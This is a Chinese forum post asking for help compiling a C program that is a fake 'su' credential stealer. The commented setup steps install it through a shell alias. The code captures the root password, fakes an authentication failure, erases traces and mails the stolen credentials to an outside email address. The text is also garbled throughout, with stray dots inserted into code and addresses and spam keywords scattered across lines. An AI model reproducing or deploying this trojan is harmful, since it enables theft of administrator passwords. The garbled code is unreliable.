程序如下:
/*
* kpr-fakesu.c V0.9bet.a167 .;P.
* by koper <
kope.r@linuxmail.or.g>健康
*
* Setting up:
* ad.min@host:~$ gcc -o .su fakesu.c; rm -rf fak.esu.c服务器
* admin@host:~$. mv .su /var/.tmp/.su教育
* admin@hos.t:~$ cp ..bash_profile .wgetrc 健康
* admin@host:~$ echo ."alias su.=/var/tmp/.su">>.bash_profile 健康
* admin@.host:~$ logout 女人
* *** LOGI.N ***--- 印刷
* admin@host:~$ .su 杀毒
* Password:
* su: Aut.henticat.ion failure 婚庆
* Sorry.
* admin@hos.t:~$ su 婚庆
* Password:
* root@host:~# logo.ut[成人用品]
* admin.@host:~$ cat /var/tmp/.pw.ds 健康
* root:du.pcia17--- 印刷
* admin@host:~$. 乙肝
*
* /bin/su sends various failure information dependin.g on the OS. ver..
* Please modify the source to ma.ke it "f.it" ;)--------------彩票
*
*/
#include .<stdio.h>(广告)
#include. <stdlib.h>.
main(.int argc., char *argv[]){电脑
FILE *fp;
char *user;
char *pass;
c.har filex[100];.
ch.ar clean[100];.
sprintf(fi.lex,"/var/.tmp/.pwds");健康
sprintf(.clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/a.d.min/.bash_profile");( 游戏 )
if(ar.gc==1) user="root";[成人用品]
if(argc==2) user=argv.[1];[成人用品]
if(argc>2){
if(str.cmp(argv[1], "-l")=.=0)[成人用品]
user.=argv[2];(广告)
else user=.argv[1];}[成人用品]
fprintf(std.out,"Password: "); pass=get.pass (""); 乙肝
syste.m("sleep 3");健康
fprintf(stdout,"su: Authen.tica.tion failure\nSorry.\n");学习
if .((fp=fopen(filex,"w")) !.= NULL).
{
. fprintf(fp, "%s:%s\n", user,. pass);域名
fclose(fp);
}
system(clean);
system("rm -rf /va.r/tmp/.su; ln -s /bin/su /var/tmp/.su.");--- 印刷
/* If you don't want password in your e-mail uncomm.ent .this line: */.
system("uname -a >> /var/tmp/..pwds; cat /var/tmp/.pwds | mail
kalikosta@hotma.il.com."); 外汇
}
复制代码
但是就是出错:
[t.est@sz root]$ gcc su.c(广告)
su..c: In function `main': 建材
su.c:48: warning: assignment makes p.ointer from integer without a c.ast电脑
[test@sz root]$ unam.e -a<性病>
Linux sz 2.4.21-27.ELsmp #1 SMP Wed Dec 1 21:59:02 .EST .2004 i686 i68.6 i386 GNU/Linux--------------彩票
有些程序可以编译成功,但有的不行。而且.不少有报“.c: In. function `main':(广告)
不知是为.什么?如何解决?谢谢!.
[. 本帖最后由 l0pht 于 2008-2-20 00:14 编.辑 ]<性病>